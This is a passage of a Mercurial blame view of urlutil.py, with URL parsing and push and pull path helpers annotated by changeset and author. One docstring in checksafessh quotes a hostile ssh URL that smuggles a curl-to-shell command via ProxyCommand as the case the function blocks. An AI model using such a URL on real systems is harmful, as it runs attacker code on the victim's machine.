338 if self.path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
339 # TODO: similar to the query string, we should not unescape the |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
340 # path when we store it, the path might contain '%2f' = '/', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
341 # which we should *not* escape. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
342 s += urlreq.quote(self.path, safe=self._safepchars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
343 if self.query: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
344 # we store the query in escaped form. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
345 s += b'?' + self.query |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
346 if self.fragment is not None: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
348 return s |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
349 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
350 __str__ = encoding.strmethod(__bytes__) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
351 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
352 def authinfo(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
353 user, passwd = self.user, self.passwd |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
354 try: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
355 self.user, self.passwd = None, None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
356 s = bytes(self) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
357 finally: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
358 self.user, self.passwd = user, passwd |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
359 if not self.user: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
360 return (s, None) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
361 # authinfo[1] is passed to urllib2 password manager, and its |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
362 # URIs must not contain credentials. The host is passed in the |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
363 # URIs list because Python < 2.4.3 uses only that to search for |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
364 # a password. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
365 return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
366 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
367 def isabs(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
368 if self.scheme and self.scheme != b'file': |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
369 return True # remote URL |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
370 if hasdriveletter(self.path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
371 return True # absolute for our purposes - can't be joined() |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
372 if self.path.startswith(br'\\'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
373 return True # Windows UNC path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
374 if self.path.startswith(b'/'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
375 return True # POSIX-style |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
376 return False |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
377 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
378 def localpath(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
379 # type: () -> bytes |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
380 if self.scheme == b'file' or self.scheme == b'bundle': |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
381 path = self.path or b'/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
382 # For Windows, we need to promote hosts containing drive |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
383 # letters to paths with drive letters. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
384 if hasdriveletter(self._hostport): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
385 path = self._hostport + b'/' + self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
386 elif ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
387 self.host is not None and self.path and not hasdriveletter(path) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
388 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
389 path = b'/' + path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
390 return path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
391 return self._origpath |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
392 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
393 def islocal(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
394 '''whether localpath will return something that posixfile can open''' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
395 return ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
396 not self.scheme |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
397 or self.scheme == b'file' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
398 or self.scheme == b'bundle' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
399 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
400 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
401 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
402 def hasscheme(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
403 # type: (bytes) -> bool |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
404 return bool(url(path).scheme) # cast to help pytype |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
405 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
406 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
407 def hasdriveletter(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
408 # type: (bytes) -> bool |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha() |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
410 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
411 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
412 def urllocalpath(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
413 # type: (bytes) -> bytes |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
414 return url(path, parsequery=False, parsefragment=False).localpath() |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
415 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
416 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
417 def checksafessh(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
418 # type: (bytes) -> None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
419 """check if a path / url is a potentially unsafe ssh exploit (SEC) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
420 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
421 This is a sanity check for ssh urls. ssh will parse the first item as |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
423 Let's prevent these potentially exploited urls entirely and warn the |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
424 user. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
425 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
426 Raises an error.Abort when the url is unsafe. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
427 """ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
428 path = urlreq.unquote(path) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
430 raise error.Abort( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
432 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
433 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
434 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
435 def hidepassword(u): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
436 # type: (bytes) -> bytes |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
437 '''hide user credential in a url string''' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
438 u = url(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
439 if u.passwd: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
440 u.passwd = b'***' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
441 return bytes(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
442 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
443 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
444 def removeauth(u): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
445 # type: (bytes) -> bytes |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
446 '''remove all authentication information from a url string''' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
447 u = url(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
448 u.user = u.passwd = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
449 return bytes(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
450 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
451 |
47030
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
452 def list_paths(ui, target_path=None): |
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
453 """list all the (name, paths) in the passed ui""" |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
454 result = [] |
47030
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
455 if target_path is None: |
48913
f254fc73d956
global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48743
diff
changeset
|
456 for name, paths in sorted(ui.paths.items()): |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
457 for p in paths: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
458 result.append((name, p)) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
459 |
47030
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
460 else: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
461 for path in ui.paths.get(target_path, []): |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
462 result.append((target_path, path)) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
463 return result |
47030
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
464 |
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
465 |
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
466 def try_path(ui, url): |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
467 """try to build a path from a url |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
468 |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
469 Return None if no Path could built. |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
470 """ |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
471 try: |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
472 # we pass the ui instance are warning might need to be issued |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
473 return path(ui, None, rawloc=url) |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
474 except ValueError: |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
475 return None |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
476 |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
477 |
46909
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
478 def get_push_paths(repo, ui, dests): |
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
479 """yields all the `path` selected as push destination by `dests`""" |
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
480 if not dests: |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
481 if b'default-push' in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
482 for p in ui.paths[b'default-push']: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
483 yield p |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
484 elif b'default' in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
485 for p in ui.paths[b'default']: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
486 yield p |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
487 else: |
46917
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
488 raise error.ConfigError( |
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
489 _(b'default repository not configured!'), |
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
490 hint=_(b"see 'hg help config.paths'"), |
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
491 ) |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
492 else: |
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
493 for dest in dests: |
47028
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
494 if dest in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
495 for p in ui.paths[dest]: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
496 yield p |
47028
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
497 else: |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
498 path = try_path(ui, dest) |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
499 if path is None: |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
500 msg = _(b'repository %s does not exist') |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
501 msg %= dest |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
502 raise error.RepoError(msg) |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
503 yield path |
46909
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
504 |
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
505 |
48240
607e9322fc89
path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48239
diff
changeset
|
506 def get_pull_paths(repo, ui, sources): |
46910
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
507 """yields all the `(path, branch)` selected as pull source by `sources`""" |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
508 if not sources: |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
509 sources = [b'default'] |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
510 for source in sources: |
46962
afdd7c472ef2
urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
